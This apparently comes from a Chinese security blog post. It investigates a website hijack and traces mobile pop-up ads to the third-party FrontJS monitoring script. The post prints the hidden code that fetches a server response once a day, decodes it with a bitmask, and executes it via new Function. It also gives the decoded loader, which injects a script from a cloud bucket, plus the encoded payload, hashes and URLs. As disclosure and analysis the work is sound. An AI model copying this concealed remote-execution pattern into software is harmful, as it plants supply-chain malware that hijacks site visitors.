起因# {#起因}
又是有一个朋友系列,说是自己公司网站被劫持。具体现象如下:当手机打开网站时,页面有几率加载弹窗广告。
排查# {#排查}
非常的直接可以看到这个广告图的调用路径。
banner.png请求由main-h5.js
调起,再往上由frontjs.web.min.js
调起
直接点击调用堆栈中的 frontjs.web.min.js 定位到如下函数:
P.addEventListener("load", (function (e) {
if (P.responseText && "string" == typeof P.responseText) {
var n = P.responseText.split("|")
, o = P.responseText.match(/(0\.\d+)\s(\d+)/);
if (n.includes(i.INSTRUCTION_DEACTIVE_SENDER) && (r.global.SENDER_ACTIVE = !1),
n.includes(i.INSTRUCTION_NEED_MORE_INFO),
t.navigator && t.navigator.userAgent && t.navigator.userAgent.match(/android|iphone/i)) {
var a = (new Date).setHours(0, 0, 0, 0);
t.localStorage && parseInt(t.localStorage.getItem("frontjs:client:timebase")) !== a && ((P = new t.XMLHttpRequest).open("POST", r.global.const.END_POINT + "apiv1/upgrade/app", !0),
P.setRequestHeader("Front-Token", r.token),
P.setRequestHeader("Accept", "application/json"),
P.setRequestHeader("Content-Type", "application/json"),
/* 重点开始*/
P.addEventListener("load", (function (t) {
if (P.responseText && "string" == typeof P.responseText && P.responseText.length) {
var e = P.responseText.split("").map((function (t) {
return String.fromCodePoint(127 & t.codePointAt(0))
}
)).join("");
try {
new Function(e += "")()
} catch (t) { }
}
}
)),
/* 重点结束*/
P.send(null),
t.localStorage.setItem("frontjs:client:timebase", a))
}
r.global.TIME_DIFF = o ? 1e3 * o[2] + Math.floor(1e3 * o[1]) - u() : 0
} else
r.global.TIME_DIFF = 0;
return !1
}
))
重点部分的逻辑如下,将ajax请求 "https://collecter.frontjs.com/apiv1/upgrade/app" 的结果进行处理后 通过new Function(e += "")()
进行运行。
这个接口返回的内容为 (base64 后)
4bGz4Yel4Ym04beU4Yep4Y2t4Z2l4YGv4bG14ZW04aSo4Yem4YO14bOu4Z2j4a204ZOp4ZWv4YOu4bKg4aCo4Zqp4bqg4b+74be24a2h4Zmy4a6g4aWk4big4ay94Yig4ZGk4YWv4Zej4aO14Zut4Z+l4aOu4Ym04aSu4bmj4Z2y4YWl4beh4Zu04YWl4YmF4Z+s4Zul4aet4bml4bWu4Ze04aio4bii4YWz4buj4ZWy4a+p4auw4Y204aKi4Yqp4ZK74ayg4Ymk4aKu4aGz4Ymy4Z+j4ZCg4Yq94YSg4bii4YGo4Zu04Ze04Zew4a2z4aq64Y6v4YCv4beh4a+h4Zek4ZOk4YCt4aax4YCz4byw4aS04Y6y4by14biz4bqx4ZS24bK44bKu4b2j4YGv4YWz4aKu4bOh4bGw4b6t4bOn4bm14beh4aOu4YOn4Ze64aGo4buv4a+14Yyu4Zmt4aW54aWx4a+j4Zms4Ymv4bm14aOk4aKu4Y+j4amv4Zet4biv4YGt4YGh4amp4YWu4Yqt4aeo4Zi14Zqu4a+q4bez4ayi4aa74Yag4bek4Zev4aOj4ZW14YWt4bul4auu4Ym04Z6u4a2i4bmv4bek4ZG54YSu4b2h4YGw4aOw4aGl4bOu4bWk4bWD4beo4b+p4Zms4a2k4a6o4Z+k4Zip4Zq74YSg4ZO94ZSs4aKg4YON4b2h4a204aeo4biu4Ymy4bGh4aGu4Z2k4a+v4aGt4Zao4ZSp4Zqg4Y6q4big4ZC14ZKw4YCw4bKw4bap4Zy7
通过其JS中的处理逻辑后
非常直接的结果'setTimeout(function () {var d = document.createElement("script"); d.src = "https://aadd-1304253168.cos.ap-guangzhou.myqcloud.com/main-h5.js"; document.body.appendChild(d); }, Math.random() * 5000);'
排查结论# {#排查结论}
FrontJS 通过在JS中埋下的方法来直接执行 https://collecter.frontjs.com/apiv1/upgrade/app 接口所返回的结果以达成其弹窗广告目的,并且通过localStorage中的frontjs:client:timebase来控制每天只弹窗一次。
但在测试其他互联网上使用FrontJS的网站时候发现该接口不一定会返回内容,推测有来源域名的筛选机制或者其他机制。
其他# {#其他}
所分析时https://frontjs-static.pgyer.com/dist/current/frontjs.web.min.js的文件信息:
etag: W/"6417dafe-e824"
md5sum d39144762a251076617a1090c987c7a3
sha256sum aa75af2a8af2538a2116f59168d0416b865a53a9af0998a90b101c47ff701c81
所加载的广告信息: https://aadd-1304253168.cos.ap-guangzhou.myqcloud.com/banner.png
https://aadd-1304253168.cos.ap-guangzhou.myqcloud.com/main-h5.js
frontjs官网:
https://www.frontjs.com/